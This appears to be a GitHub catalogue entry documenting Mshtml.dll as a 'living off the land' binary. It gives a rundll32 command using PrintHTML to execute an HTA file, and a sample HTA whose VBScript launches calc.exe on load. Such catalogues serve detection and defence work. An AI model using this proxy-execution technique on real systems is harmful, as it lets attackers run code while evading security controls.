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December 10, 2018 · View on GitHub

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Mshtml.dll

Functions: Execute

rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"

Acknowledgements:

Pierre-Alexandre Braeken - @pabraeken

Code sample (calc.hta):

<html>
<head>
	<title>LOLBin</title>
	<script language="VBScript">
		Sub RunProgram
            Set objShell = CreateObject("Wscript.Shell")
            objShell.Run "c:\windows\system32\calc.exe"
			Self.Close
        End Sub
	</script>
</head>
<body onload="RunProgram">
    <h1>LOLBin</h1>
</body>
</html>

Resources:

https://twitter.com/pabraeken/status/998567549670477824

Full path:

c:\windows\system32\Mshtml.dll
c:\windows\sysWOW64\Mshtml.dll

Notes:

Detection: